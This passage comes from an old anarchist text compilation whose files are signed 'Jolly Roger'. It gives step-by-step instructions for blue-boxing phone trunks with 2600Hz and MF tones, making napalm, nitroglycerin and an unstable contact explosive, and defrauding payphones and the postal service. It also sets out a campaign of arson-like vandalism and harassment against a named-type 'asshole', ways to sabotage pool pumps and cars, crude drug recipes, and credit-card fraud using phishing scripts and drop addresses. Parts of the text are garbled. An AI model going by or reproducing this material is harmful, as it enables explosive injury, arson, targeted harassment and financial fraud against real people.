  5622. use (i.e., idle or "on-hook" state) they have 2600Hz applied to them. If
  5623. they are two-way trunks, there is 2600Hz in both directions. When a trunk
  5624. IS in use (busy or "off-hook" state), the 2600Hz is removed from the side
  5625. that is off-hook. The 2600Hz is therefore known as a supervisory
  5626. signal, because it indicates the status of a trunk; on hook (tone) or
  5627. off-hook (no tone). Note also that 2600Hz denoted SF (single frequency)
  5628. signalling and is "in-band." This is very important. "In-band" means that
  5629. is within the band of frequencies that may be transmitted over normal
  5630. telefone lines. Other SF signals, such as 3700Hz are used also. However,
  5631. they cannot be carried over the telefone network normally (they are
  5632. "out-of-band" and are therefore not able to be taken advantage of as
  5633. 2600Hz is. Back to trunks. Let's take a hypothetical phone call. You pick
  5634. up your fone and dial 1+806-258-1234 (your good friend in Amarillo, Texas).
  5635. For ease, we'll assume that you are on #5 Crossbar switching and not in the
  5636. 806 area. Your central office (CO) would recognize that 806 is a foreign
  5637. NPA, so it would route the call to the toll centre that serves you.
  5638. [For the sake of accuracy here, and for the more experienced readers,
  5639. note that the CO in question is a class 5 with LAMA that uses out-of-band
  5640. SF supervisory signalling]. Depending on where you are in the country,
  5641. the call would leave your toll centre (on more trunks) to another toll
  5642. centre, or office of higher "rank". Then it would be routed to central
  5643. office 806-258 eventually and the call would be completed.
  5644.  
  5645.  
  5646. ç            Illustration
  5647. A---CO1-------TC1------TC2----CO2----B
  5648.  
  5649. A.... you
  5650. CO1=your central office
  5651. TC1.. your toll office.
  5652. TC2.. toll office in Amarillo.
  5653. CO2.. 806-258 central office.
  5654. B.... your friend (806-258-1234)
  5655.  
  5656. In this situation it would be realistic to say that CO2 uses SF
  5657. in-band (2600Hz) signalling, while all the others use out-of-band signal-
  5658. ling (3700Hz). If you don't understand this, don't worry. I am pointing
  5659. this out merely for the sake of accuracy. The point is that while you
  5660. are connected to 806-258-1234, all those trunks from YOUR central office
  5661. (CO1) to the 806-258 central office (CO2) do *NOT* have 2600Hz on them,
  5662. indicating to the Bell equipment that a call is in progress and the trunks
  5663. are in use.
  5664. Now let's say you're tired of talking to your friend in Amarillo, so you
  5665. send a 2600Hz down the line. This tone travels down the line to your
  5666. friend's central office (CO2) where it is detected. However, that CO thinks
  5667. that the 2600Hz is originating from Bell equipment, indicating to it
  5668. that you've hung up, and thus the trunks are once again idle (with 2600Hz
  5669. present on them). But actually, you have not hung up, you have fooled the
  5670. equipment atyour friend's CO into thinking you have. Thus,it disconnects
  5671. him and resets the equipment to prepare for the next call. All this happens
  5672. very quickly (300-800ms for step-by-step equipment and 150-400ms for other
  5673. equipment). When you stop sending 2600Hz (after about a second), the
  5674. equipment thinks that another call is coming towards
  5675. --> on hook, no tone -->off hook.
  5676. Now that you've stopped sending 2600Hz, several things happen:
  5677.  
  5678. 1) A trunk is seized.
  5679. 2) A "wink" is sent to the CALLING end from the CALLED end indicating that
  5680. the CALLED end (trunk) is not ready to receive digits yet.
  5681. 3) A register is found and attached to the CALLED end of the trunk within
  5682. about two seconds (max).
  5683. 4) A start-dial signal is sent to the CALLING end from the CALLED end
  5684. indicating that the CALLED end is ready to receive digits.
  5685. Now, all of this is pretty much transparent to the blue boxer. All he
  5686. really hears when these four things happen is a <beep><kerchunk>. So,
  5687. seizure of a trunk would go something like this:
  5688.  
  5689. 1> Send a 2600Hz
  5690. 2> Terminate 2600Hz after 1-2 secs.
  5691. 3> [beep][kerchunk]
  5692.  
  5693. Once this happens, you are connected to a tandem that is ready to obey your
  5694. every command. The next step is to send signalling information in order to
  5695. place your call. For this you must simulate the signalling used by
  5696. operators and automatic toll-dialing equipment for use on trunks. There are
  5697. mainly two systems, DP and MF. However, DP went out with the dinosaurs, so
  5698. I'll only discuss MF signalling. MF (multi-frequency) signalling is the
  5699. signalling used by the majority of the inter- and intra-lata network. It is
  5700. also used in international dialing known as the CCITT no.5 system.
  5701. MF signals consist of 7 frequecies, beginning with 700Hz and separated by
  5702. 200Hz. A different set of two of the 7 frequencies represent the digits 0
  5703. thru 9, plus an additional 5 special keys. The frequencies and uses are as
  5704.  
  5705.  
  5706. follows:
  5707.  
  5708. Frequencies (Hz)  Domestic    Int'l
  5709. -------------------------------------
  5710.  700+900             1          1
  5711.  700+1100            2          2
  5712.  900+1100            3          3
  5713.  700+1300            4          4
  5714.  900+1300            5          5
  5715. 1100+1300            6          6
  5716.  700+1500            7          7
  5717.  900+1500            8          8
  5718. 1100+1500            9          9
  5719. 1300+1500            0          0
  5720.  700+1700           ST3p       Code 1
  5721.  900+1700           STp        Code 1
  5722. 1100+1700           KP         KP1
  5723. 1300+1700           ST2p       KP2
  5724. 1500+1700           ST         ST
  5725.  The timing of all the MF signals is a nominal 60ms, except for KP, which
  5726. should have a duration of 100ms. There should also be a 60ms silent period
  5727. between digits. This is very flexible however, and most Bell equipment will
  5728. accept outrageous timings. In addition to the standard uses
  5729. listed above, MF pulsing also has expanded usages known as "expanded
  5730. inband signalling" that include such things as coin collect, coin return,
  5731. ringback, operator attached, and operator attached, and operator
  5732. released. KP2, code 11, and code 12 and the ST_ps (STart "primes" all have
  5733. special uses which will be mentioned only briefly here.
  5734. To complete a call using a blue box once seizure of a trunk has been
  5735. accomplished by sending 2600Hz and pausing for the <beep><kerchunk>, one
  5736. must first send a KP. This readies the register for the digits that follow.
  5737. For a standard domestic call, the KP would be followed by either 7 digits
  5738. (if the call were in the same NPA as the seized trunk) or 10 digits (if the
  5739. call were not in the same NPA as the seized trunk). [Exactly like dialing
  5740. normal fone call]. Following either the KP and 7 or 10 digits, a STart is
  5741. sent to signify that no more digits follow. Example of a complete call:
  5742.  
  5743. 1> Dial 1-806-258-1234
  5744. 2> wait for a call-progress indication (such as ring,busy,recording,etc.)
  5745. 3> Send 2600Hz for about 1 second.
  5746. 4> Wait for about ll-progress indication (such as ring,busy,recording,etc.)
  5747. 5> Send KP+305+994+9966+ST
  5748. The call will then connect if everything was done properly. Note that if a
  5749. call to an 806 number were being placed in the same situation, the are code
  5750. would be omitted and only KP + seven digits + ST would be sent.
  5751. Code 11 and code 12 are used in international calling to request
  5752. certain types of operators. KP2 is used in international calling to route a
  5753. call other than by way of the normal route, whether for economic or
  5754. equipment reasons. STp, ST2p, and ST3p (prime, two prime, and three prime)
  5755. are used in TSPS signalling to indicate calling type of call (such as
  5756. coin-direct dialing.
  5757. Napalm (Another way to make it...)              by the Jolly Roger
  5758.  
  5759.    (See file #021 of the Cookbook for an easy way to make it!!)
  5760.  
  5761. About the best fire bomb is napalm. It has a thick consistancy,
  5762. like jam and is best for use on vehilces or buildings.
  5763. Napalms is simply one part gasoline and one part soap. The soap is
  5764.  
  5765.  
  5766. either soap flakes or shredded bar soap. Detergents won't do.
  5767. The gasoline must be heated in order for the soap to melt. The
  5768. usual way is with a double boiler where the top part has at least a
  5769. two-quart capicity. The water in the bottom part is brought to a boil
  5770. and the double boiler is taken from the stove and carried to where
  5771. there is no flame.
  5772. Then one part, by volume, of gasoline is put in the top part and
  5773. allowed to heat as much as it will and the soap is added and the mess
  5774. is stirred until it thickens. A better way to heat gasoline is to fill
  5775. a bathtub with water as hot as you can get it. It will hold its heat
  5776. longer and permit a much larger container than will the double boiler.
  5777.  
  5778.                                 ---------------Jolly Roger
  5779.  
  5780. Nitroglycerin Recipe                            by the Jolly Roger
  5781.  
  5782. Like all chemists I must advise you all to take the greatest care
  5783. and caution when you are doing this.  Even if you have made this stuff
  5784. before.
  5785. This first article will give you information on making
  5786. nitroglyerin, the basic ingredient in a lot of explosives such as
  5787. straight dynamites, and geletin dynamites.
  5788. Making nitroglycerin
  5789. 1. Fill a 75-milliliter beaker to the 13 ml. Level with fuming
  5790.    red nitric acid, of 98% pure concentration.
  5791. 2. Place the beaker in an ice bath and allow to cool below room
  5792.    temp.
  5793. 3. After it has cooled, add to it three times the amount of
  5794.    fuming sulferic acid (99% h2so4).  In other words, add to the
  5795.    now-cool fuming nitric acid 39 ml. Of fuming sulferic acid.
  5796.    When mixing any acids, always do it slowly and carefully to
  5797.    avoid splattering.
  5798. 4. When the two are mixed, lower thier temp. By adding more ice
  5799.    to the bath, about 10-15 degrees centigrade. (Use a
  5800.    mercury-operated thermometer)
  5801. 5. When the acid solution has cooled to the desired temperature,
  5802.    it is ready for the glycerin. The glycerin must be added in
  5803.    small amounts using a medicine dropper.  (Read this step about
  5804.    10 times!)  Glycerin is added slowly and carefully (i mean
  5805.    careful!) Until the entire surface of the acid it covered with
  5806.    it.
  5807. 6. This is a dangerous point since the nitration will take place
  5808.    as soon as the glycerin is added. The nitration will produce
  5809.    heat, so the solution must be kept below 30 degrees
  5810.    centigrade! If the solution should go above 30 degrees,
  5811.    immediately dump the solution into the ice bath!  This will
  5812.    insure that it does not go off in your face!
  5813. 7. For the first ten minutes of nitration, the mixture should be
  5814.    gently stirred.  In a normal reaction the nitroglycerin will
  5815.    form as a layer on top of the acid solution, while the sulferic
  5816.    acid will absorb the excess water.
  5817. 8. After the nitration has taken place, and the nitroglycerin has
  5818.    formed on the top of the solution, the entire beaker should be
  5819.    transferred slowly and carefully to another beaker of water.
  5820.    When this is done the nitroglycerin will settle at the bottem
  5821.    so the other acids can be drained away.
  5822. 9. After removing as much acid as posible without disturbing the
  5823.    nitroglycerin, remove the nitroglycerin with an eyedropper and
  5824.  
  5825.  
  5826.    place it in a bicarbonate of soda (sodium bicarbonate in case
  5827.    you didn't know) solution.  The sodium is an alkalai and will
  5828.    nuetralize much of the acid remaining. This process should be
  5829.    repeated as much as necesarry using blue litmus paper to check
  5830.    for the presence of acid.  The remaining acid only makes the
  5831.    nitroglycerin more unstable than it already is.
  5832. 10. Finally! The final step is to remove the nitroglycerin from
  5833.     the bicarbonate.  His is done with and eye- dropper, slowly
  5834.     and carefully.  The usual test to see if nitration has been
  5835.     successful is to place one drop of the nitroglycerin on metal
  5836.     and ignite it.  If it is true nitroglycerin it will burn with
  5837.     a clear blue flame.
  5838. ** Caution **
  5839. Nitro is very sensative to decomposition, heating dropping, or
  5840. jarring, and may explode if left undisturbed and cool.
  5841.                               -------------Jolly Roger
  5842.  
  5843. Operation: Fuckup                                 by the Jolly Roger
  5844.  
  5845. This is a guide for Anarchists and can be funny for non-believers and 12
  5846. and 13 year old runts, and can be a lexicon of deadly knowledge for True
  5847. Anarchists... Serious damage is intended to be dealt here. Do not try
  5848. this stuff unless you want to do a lot of serious Anarchy.
  5849. [Simulation]
  5850. Asshole - 'Listen, you little teenager punk shit, shut the fuck up, or I'll
  5851. knock you down!'
  5852. Anarchist - 'O.K.....You can't say I didn't warn you. You don't know my
  5853. rue power...' (soooo casually)
  5854. Asshole - 'Well, er, what do you mean? Anarchist - '<demoniac grin>'
  5855. As you can see, the Anarchist knows something that this asshole doesn't...
  5856.  
  5857. [Operation Fuckup]
  5858. Geta wheel barrel or two. Fill with gasoline. Get 16 rolls of toilet
  5859. paper, unroll & drench in the gasoline. Rip to shreds in gasoline. Get
  5860. asbestos gloves. Light a flare (to be punk), grab glob of
  5861. saturated toilet paper (you can ignite the glob or not). Throw either
  5862. flaming or dripping glob into:
  5863. any window (picture is the best)
  5864. front doors
  5865. rough grain siding
  5866. and best of all, brick walls.
  5867. First of all, this bitch is near impossible to get off once dried, and
  5868. is a terror to people inside when lit! After this... during the
  5869. night, get a pickup truck, a few wheel-barrels, and a dozen friends with
  5870. shovels. The pickup can be used only for transporting people
  5871. and equipment, or doing that, and carting all the dirt. When it gets
  5872. around 12:00 (after the loser goes beddie - bye), dig a gargantuan hole
  5873. in his front yard until about 3:00. You can either assign three or four
  5874. of your friends to cart the dirt ten miles away in the pickup-bed, or
  5875. bury his front door in 15' of dirt! After that is done, get
  5876. three or four buckets of tar, and coat his windows. You can make an
  5877. added twist by igniting the tar when you are all done and ready to
  5878. run! That is if the loser has a house. If he lives inside an apartment
  5879. building, you must direct the attack more toward his car, and front door.
  5880. I usually start out when he goes to work...I find out what his cheap car
  5881. looks like, and memorize it for future abuse...It is always fun to paint
  5882. his front door (apt.) hot pink with purple polka-dots, and off-neon
  5883. colors in diagonal stripes. You can also pound a few hundred or so four
  5884.  
  5885.  
  5886. inch nails into his front door (this looks like somebody really
  5887. doesn't like you from the inside). Another great is to fill his keyhole
  5888. with liquid steel so that after the bastard closes his door - the
  5889. only way to get back in is to break it down. If you can spare it, leave
  5890. him an axe - that is, implanted three inches into, and through the door!
  5891. Now, this next one is difficult, but one of the best! Get a piece of wood
  5892. siding that will more than cover his front door completely. Nail two by
  5893. fours on the edges of the siding (all except the bottom) so you have
  5894. a barge - like contraption. Make a hole at the top that will be large
  5895. enough for a cement slide. Mix about six or seven LARGE bags of QUICK
  5896. drying cement. Use the cement slide to fill the antichamber created by
  5897. the 'barge' that is around his door. Use more two by fours to brace
  5898. your little cement-filled barge, and let the little gem dry. When it is,
  5899. remove the 'barge' so only a stone monolith remains that covers his door.
  5900. Use any remaining cement to make a base around this so he can't just push
  5901. it over. When I did this, he called the fire department, and they thought
  5902. he meant wood, so they brought axes. I watched with a few dozen or so
  5903. other tenants, and laughed my damn ass off! This is only his door! After
  5904. he parks his car for the night, the fun really begins...I start out
  5905. by opening up the car by jamming a very thin, but loack - inside and out!
  5906. Then proceed to put orange-juice syrup all over the seats, so after he
  5907. gets through all the other shit that you do, he will have the stickiest
  5908. seats in the world. You can then get a few Sunday papers, and crack one of
  5909. the windows about four inches. Lightly crumple the papers, and continue to
  5910. completely fill the inside of his car with the newspapers. A copy of the
  5911. Sunday New York Times will nicely fill a Volkeswagon! What is also quite
  5912. amusing is to put his car on cinder blocks, slash his tires at the top, and
  5913. fill them with cement! Leave the cinder blocks there so that, after he
  5914. knocks the car off of them, he will get about 3 miles to the gallon with
  5915. those tires, and do 0 to 60 in about two minutes! It is even more
  5916. hilarious when he doesn't know why the hell why! Another is to open his
  5917. hood, and then run a few wires from the sparkplugs to the METAL body.
  5918. The sure is one HOT car when it is running! Now, I like to pour two pounds
  5919. of sugar down his gas tank. If this doesn't blow every gasket in his
  5920. engine it will do something called 'carmelizing his engine'. This is when
  5921. the extreme heat turns the sugar to carmel, and you literally must
  5922. completely take the engine out and apart, and clean each and every
  5923. individual part!
  5924. Well, if this asshole does not get the message, you had better start to
  5925. get serious. If this guide was used properly & as it was intended (no,
  5926. not as kindling for the fire), this asshole will either move far away,
  5927. seek professional psychological help, commit suicide,
  5928. or all of the above!
  5929.  
  5930.                                --------------Jolly Roger
  5931.  
  5932.  
  5933. *-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*
  5934. *            How to "steal" local calls from most Payphones         *
  5935. *-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*
  5936.                            by the Jolly Roger
  5937.  
  5938. Now to make free local calls, you need a finishing nail.  I highly
  5939. recommend "6D E.G. FINISH C/H, 2 INCH" nails.  These are about 3/32 of
  5940. an inch in diameter and 2 inches long (of course).  You also need a large
  5941. size paper clip. By large  I  mean they  are  about  2  inches  long
  5942. (FOLDED). Then  you  unfold the paper clip.  Unfold it by taking each piece
  5943. and moving it out 90 degrees.  When it is done it should look somewhat
  5944.  
  5945.  
  5946. like this:
  5947.  
  5948.                                /----------\
  5949.                                :          :
  5950.                                :          :
  5951.                                :          :
  5952.                                :          :
  5953.                                           \-----
  5954.  
  5955. Now,  on to the neat stuff.  What you do,  instead of unscrewing the
  5956. glued-on  mouthpiece,  is  insert the nail into the center  hole  of
  5957. the mouthpiece  (where you talk) and push it in with
  5958. pressure or just hammer it in by hitting the nail on something.
  5959. Just DON'T KILL THE  MOUTHPIECE! You  could  damage  it
  5960. if you insert the nail too far or  at  some  weird angle.  If  this
  5961. happens then the other party won't be able to hear  what you say.
  5962. You now have a hole in the mouthpiece in which you can easily insert the
  5963. paper clip. So, take out the nail and put in the paper  clip.
  5964. Then take the other end of the paper clip and shove it under the rubber
  5965. cord protector at the bottom of the handset (you know, the blue guy...).
  5966. This should end up looking remotely like...like this:
  5967.                             /----------\      Mouthpiece
  5968.                             :          :
  5969.             Paper clip -->  :          :     /
  5970.                             :      /---:---\
  5971.                             :      :   :
  5972.                             :------------>
  5973.         ====================\---))):
  5974.                                    :  To earpiece ->
  5975.                                    ^              ^
  5976.                                    \-------------------->
  5977.                                    :              :
  5978.                                    :              :
  5979.                                  Cord          Blue guy
  5980. (The  paper clip is shoved under the blue guy to make a  good  connection
  5981. between the inside of the mouthpiece and the metal cord.)
  5982. Now,  dial  the number of a local number you wish to  call,  sayyyy,
  5983. MCI.  If  everything  goes okay, it should ring and not answer with the
  5984. "The Call You Have Made Requires a 20 Cent Deposit" recording.  After the
  5985. other  end  answers  the phone, remove the  paper  clip.  It's  all  that
  5986. simple, see?
  5987. There  are  a couple problems,  however.  One  is,  as  I mentioned
  5988. earlier, the mouthpiece not working after you punch it.  If this
  5989. happens to you,  simply move on to the next payphone.  The one you are
  5990. now on  is lost.  Another problem is that the touch tones won't work
  5991. when the paper clip is in the mouthpiece. There are two ways around this..
  5992. A> Dial the first 6 numbers.  This should be done without the  paper
  5993. clip making the connection, i.e., one side should not be connected.
  5994. Then connect  the paper clip,  hold down the last digit,  and slowly
  5995. pull  the paper clip out at the mouthpiece's end.
  5996. B> Don't  use  the paper clip at all.  Keep the nail  in  after  you punch
  5997. it.  Dial the first 6 digits.  Before dialing the last digit, touch
  5998. the nail head to the plate on the main body of the phone,  the money
  5999. safe thingy..then press the last number. The  reason  that this method
  6000. is sometimes called  clear  boxing  is because  there is
  6001. another type of phone which lets you actually make  the call  and  listen
  6002. to  them say "Hello,  hello?"  but  it  cuts  off  the mouthpiece  so they
  6003. can't hear you.  The Clear Box is used  on  that  to amplify your voice
  6004.        α.ê,9  
  6005. signals and send it through the earpiece. If you  see how  this  is
  6006. even slightly similar to the method I have just described up there,
  6007. kindly explain it to ME!! Cause I don't GET IT!  Anyways,  this DOES
  6008. work on almost all single slot,  Dial Tone First payphones (Pacific Bell
  6009. for sure).  I do it all the time.  This  is  the least,  I STRESS
  6010. *LEAST*, risky form of Phreaking.
  6011.  
  6012.                         ---------------Jolly Roger
  6013.  
  6014. Pool Fun                                        by the Jolly Roger
  6015.  
  6016. First of all, you need know nothing about pools.  The only thing
  6017. you need know is what a pool filter looks like.  If you don't know that.
  6018. Second, dress casual.  Preferably, in black.  Visit your
  6019. "friends" house, the one whose pool looks like fun!!)  Then you
  6020. reverse the polarity of his/her pool, by switching the wires around.
  6021. They are located in the back of the pump. This will have quite an
  6022. effect when the pump goes on.  In other words. Boooooooooooommm!
  6023. Thats right, when you mix + wires with - plugs, and vice- versa, the
  6024. 4th of july happens again.
  6025. Not into total destruction??? When the pump is off, switch the
  6026. pump to "backwash".  Turn the pump on and get the phuck out!  When you
  6027. look the next day, phunny.  The pool is dry.  If you want permanant
  6028. damage, yet no great display like my first one mentioned, shut the
  6029. valves of the pool off. (There are usually 2)  One that goes to the
  6030. main drain and one that goes to the filter in the pool.  That should
  6031. be enough to have one dead pump.  The pump must take in water, so when
  6032. there isn't any...
  6033. Practical jokes:  these next ones deal with true friends and
  6034. there is *no* permanent damage done.  If you have a pool, you must
  6035. check the pool with chemicals.  There is one labeled orthotolidine.
  6036. The other is labeled alkaline (ph).  You want orthotolidine. (It
  6037. checks the chlorine).
  6038. Go to your local pool store and tell them you're going into the pool
  6039. business, and to sell you orthotolidine (a
  6040. CL detector)   Buy this in great quantities if possible.  The solution
  6041. is clear.  You fill 2 baggies with this chemical.  And sew the bags to
  6042. the inside of your suit.  Next, go swimming with your friend!
  6043. Then open the bags and look like you're enjoying a piss.  And anyone
  6044. there will turn a deep red!  They will be embarrased so much,
  6045. Especially if they have guests there! Explain what it is, then add
  6046. vinegar to the pool.  Only a little.  The "piss" disappears.
  6047.  
  6048. HAHA!!          --------------------Jolly Roger
  6049.  
  6050.  
  6051. Free Postage                                    by the Jolly Roger
  6052.  
  6053. The increasing cost of postage to mail letters and packages is
  6054. bringing down our standard of living.  To remedy this deplorable
  6055. situation, some counter control measures can be applied.
  6056. For example, if the stamps on a letter are coated with Elmer's
  6057. Glue by the sender, the cancellation mark will not destroy the stamp:
  6058. the Elmer/s drives to form an almost invisible coating that protects
  6059. the stamps from the cancellation ink. Later, the receiver of the
  6060. letter can remove the cancellation mark with water and reuse the
  6061. stamps. Furthermore, ecological saving will also result from recycling
  6062. the stamps.  Help save a tree.
  6063.  
  6064.  
  6065. The glue is most efficently applied with a brush with stiff,
  6066. short bristles.  Just dip the brush directly into the glue and spread
  6067. it on evenly, covering the entire surface of the stamp.  It will dry
  6068. in about 15 minutes.
  6069. For mailing packages, just follow the same procedure as outlined
  6070. above; however, the package should be weighed and checked to make sure
  6071. that it has the correct amount of postage on it before it is taken to
  6072. the Post Office.
  6073. Removing the cancellation and the glue from the stamps can be
  6074. easily accomplished by soaking the stamps in warm water until they
  6075. float free from the paper.  The stamps can then be put onto a paper
  6076. towel to dry.  Processing stamps in large batches saves time too.
  6077. Also, it may be helpful to write the word 'Elmer' at the top of the
  6078. letter (not on the envelope) to cue the receiving party in that the
  6079. stamps have been protected with the glue.
  6080. We all know that mailing packages can be expensive.  And we also
  6081. know that the handicapped are sometimes discriminated against in jobs.
  6082. The Government, being the generous people they are, have given the
  6083. blind free postal service.
  6084. Simply address you envelope as usual, and make one modification.
  6085. In the corner where the stamp would go, write in (or stamp) the words
  6086. 'FREE MATTER FOR THE BLIND".  Then drop you package or letter in one
  6087. of the blue fedral mailboxes.  DO NOT TAKE THE LETTER TO THE POST
  6088. OFFICE, OR LEAVE IT IN YOUR MAILBOX.
  6089. Sounds very nice of the government to do this, right?  Well, they
  6090. aren't that nice.  The parcel is sent library rate, that is below
  6091. third class.  It may take four to five days to send a letter to just
  6092. the next town.
  6093. This too is quite simple, but less effective.  Put the address
  6094. that you are sending the letter to as the return address.  If you were
  6095. sending a $20 donation to the pirate's Chest, you would put our
  6096. address (po box 644, lincoln ma. 01773) as the return address.
  6097. Then you would have to be carless and forget to put the stamp on
  6098. the envelope.  A nice touch is to put a bullshit address in the center
  6099. of the envelope.
  6100. Again, you MUST drop the letter in a FEDRAL mailbox.  If the post
  6101. office doesn't send the letter to the return address for having no
  6102. stamp, they will send it back for the reason of "No such address".
  6103. Example--
  6104.  
  6105. Pirates Chest  Dept. 40DD
  6106. P.O. Box 644865
  6107. Lincol, Ma. 41773
  6108.  
  6109.                  Tom Bullshit
  6110.                  20 Fake Road
  6111.                  What Ever, XX     99851
  6112.  
  6113. One last thing you might try doing is soaking a cancelled stamp
  6114. off of an envelope, and gluing it onto one you are sending.  Then burn
  6115. the stamp, leaveing a little bit to show that there was one there.
  6116.  
  6117.                                      --------------Jolly Roger
  6118.  
  6119. Unstable Explosives                             by the Jolly Roger
  6120.  
  6121. Mix solid Nitric Iodine with househould ammonia. Wait overnight and
  6122. then pour off the liquid. You will be left with a muddy substance. Let
  6123.  
  6124.  
  6125. this dry till it hardens.  Now throw it at something!!!!
  6126.  
  6127.                                 ----------------Jolly Roger
  6128.  
  6129. Weird Drugs                                     by the Jolly Roger
  6130.  
  6131. Bananas:
  6132. 1. Obtain 15 pounds of ripe yellow bananas
  6133. 2. Peel all and eat the fruit. Save the peelings
  6134. 3. Scrape all the insides of the peels with a sharp knife.
  6135. 4. Put all the scraped material in a large pot and add water.
  6136. 5. Boil 3 or 4 hours until it has attained a solid paste considtency.
  6137. 6. Spread paste onto cookie sheets and dry in ofen for about 20
  6138.    minutes. This will result in fine black powder. Usually one will
  6139.    feel the effects after smoking three to four cigarettes.
  6140.  
  6141. Cough syrup:
  6142. mix robitussion a-c with an equal amount of ginger ale and drink. The
  6143. effect are sedation and euphoria. Never underestimate the effects of
  6144. any drug! You can od on cough syrup!
  6145.  
  6146. Toads:
  6147. 1. Collect five to ten toads, frogs will not work. The best kind are
  6148.    tree toads.
  6149. 2. Kill them as painlessly as possible, and skin immediately.
  6150. 3. Allow the skins to dry in a refrigerator four four to five days, or
  6151.    until the skins are brittle.
  6152. 4. Now crush the skins into powder and smoke. Due to its bad taste you
  6153.    can mix it with a more fragrent smoking medium.
  6154.  
  6155. Nutmeg:
  6156. 1. Take several whole nutmegs and grind them up in an old grinder.
  6157. 2. After the nutmegs are ground. Place in a mortar and pulverize with
  6158.    a pestle.
  6159. 3. The usual dosage is about 10 or 15 grams. A larger dose may
  6160.    produce excessive thirst,anxiety,and rapid hart beat, but
  6161.    hallucinations are rare.
  6162.  
  6163. Peanuts:
  6164. 1. Take 1 pound of raw peanuts (not roasted)
  6165. 2. Shell them, saving the skins and discarding the shells.
  6166. 3. Eat the nuts.
  6167. 4. Grind up the skins and smoke them.
  6168.  
  6169.                                     ------------------Jolly Roger
  6170.  
  6171. The Art of Carding                              by the Jolly Roger
  6172.  
  6173. Obtaining a credit card number: There are many ways to obtain the
  6174. information needed to card something.
  6175. The most important things needed are the card number and the expiration
  6176. date.  Having the card-holders name doesn't hurt, but it is not essential.
  6177. The absolute best way to obtain all the information needed is by trashing.
  6178. The way this is done is simple.  You walk around your area or any other
  6179. area and find a store, mall, supermarket, etc., that throws their
  6180. garbage outside on the sidewalk or dumpster.  Rip the bag open and see
  6181. if you can find any carbons at all.  If you find little shreds of
  6182. credit card carbons, then it is most likely not worth your time to tape
  6183.  
  6184.  
  6185. together.  Find a store that does not rip their carbons at all or only in
  6186. half.
  6187. Another way is to bullshit the number out of someone.  That is call them
  6188. up and say "Hello, this is Visa security and we have a report that
  6189. your card was stolen." They will deny it and you will try to get it out
  6190. of them from that point on.  You could say, "It wasn't stolen?  Well what
  6191. is the expiration date and maybe we can fix the problem....
  6192. Ok and what is the number on your card?......Thank you very much and
  6193. have a nice day."  Or think of something to that degree.
  6194. Another way to get card numbers is through systems such as TRW and CBI,
  6195. this is the hard way, and probably not worth the trouble, unless you are
  6196. an expert on the system.  Using credit card numbers posted on BBS's is
  6197. risky.  The only advantage is that there is a good chance that other
  6198. people will use it, thus decreasing the chances of being the
  6199. sole-offender.  The last method of getting numbers is very good also.
  6200. In most video rental stores, they take down your credit card number
  6201. when you join to back-up your rentals.  So if you could manage to steal
  6202. the list or make a copy of it, then you are set for a LONG time.
  6203. Choosing a victim: Once you have the card number, it is time to make the
  6204. order.  The type of places that are easiest to victimize are small
  6205. businesses that do mail order or even local stores that deliver.
  6206. If you have an ad for a place with something you want and the order number
  6207. is NOT a 1-800 number then chances are better that you will succeed.
  6208. Ordering: When you call the place up to make the order, you must have
  6209. several things readily at hand.
  6210. These are the things you will need: A name, telephone number, business
  6211. phone, card number (4 digit bank code if the card is MasterCard),
  6212. expiration date, and a complete shipping and billing address.
  6213. I will talk about all of these in detail.  A personal tip: When I call
  6214. to make an order, it usually goes much smoother if the person you are
  6215. talking to is a woman.  In many cases they are more gullible than men.
  6216. The name:  You could use the name on the card or the name of the person
  6217. who you are going to send the merchandise to.  Or you could use the name
  6218. on the card and have it shipped to the person who lives at the drop
  6219. (Say it is a gift or something).
  6220. The name is really not that important because when the company verifies
  6221. the card, the persons name is never mentioned, EXCEPT when you have a
  6222. Preffered Visa card.  Then the name is mentioned.  You can tell if you
  6223. have a Preffered Visa card by the PV to the right of the expiration
  6224. date on the carbon. Nophone all day long waiting for the company to call
  6225. (Which they will), then the phone number to give them as your home-phone
  6226. could be one of the following: A number that is ALWAYS busy, a number
  6227. that ALWAYS rings, a payphone number, low end of a loop (and you will wait
  6228. on the other end), or a popular BBS.
  6229. NEVER give them your home phone because they will find out as soon as
  6230. the investigation starts who the phone belongs to.  The best thing would
  6231. be to have a payphone call forward your house
  6232. (via Cosm The business number:  When asked for, repeat the number you
  6233. used for your home phone.
  6234. Card number: The cards you will use will be Visa, Mastercard, and
  6235. American Express.  The best is by far Visa.  It is the most
  6236. straight-forward.  Mastercard is pretty cool except for the bank code.
  6237. When they ask for the bank code, they sometimes also ask for the bank
  6238. that issued it.  When they ask that just say the biggest bank you know of
  6239. in your area.  Try to avoid American Express.  They tend to lead full
  6240. scale investigations.  Unfortunately, American Express is the most popular
  6241. card out.   When telling the person who is taking your call the card
  6242. number, say it slow, clear, and with confidence.
  6243.  
  6244.  
  6245. e.g. CC# is 5217-1234-5678-9012.  Pause after each set of four so you
  6246. don't have to repeat it.
  6247. Expiration date: The date must be at LEAST in that month.  It is best
  6248. to with more than three months to go.
  6249. The address: More commonly referred to as the 'drop'.  Well the drop
  6250. can range from an abandoned building to your next door neighbors
  6251. apartment.  If you plan to send it to an apartment building then be
  6252. sure NOT to include an apartment number.  This will confuse UPS or postage
  6253. men a little and they will leave the package in the lobby.
  6254. Here is a list of various drops: The house next door whose family is on
  6255. vacation, the apartment that was just moved out of, the old church that
  6256. will be knocked down in six months, your friends house who has absolutely
  6257. nothing to do with the type of merchandise you will buy and who will
  6258. also not crack under heat from feds, etc..
  6259. There are also services that hold merchandise for you, but personally
  6260. I would not trust them.  And forget about P.O. Boxes because you need
  6261. ID to get one and most places don't ship to them anyway.
  6262. Other aspects of carding:Verifying cards, seeing if they were reported
  6263. stolen.
  6264. Verifying cards: Stores need to verify credit cards when someone purchases
  6265. something with one.  They call up a service that checks to see if the
  6266. customer has the money in the bank.
  6267. The merchant identifies himself with a merchant number.  The service
  6268. then holds the money that the merchant verified on reserve.  When the
  6269. merchant sends in the credit card form, the service sends the merchant
  6270. the money.  The service holds the money for three days and if no form
  6271. appears then it is put back into the bank.  The point is that if you
  6272. want to verify something then you should verify it for a little amount
  6273. and odds are that there will be more in the bank.
  6274. The good thing about verification is that if the card doesn't exist or
  6275. if it is stolen then the service will tell you.  To verify MasterCard
  6276. and Visa try this number.  It is voice:1-800-327-1111 merchant code is
  6277. 596719.
  6278. Stolen cards: Mastercard and Visa come out with a small catalog every
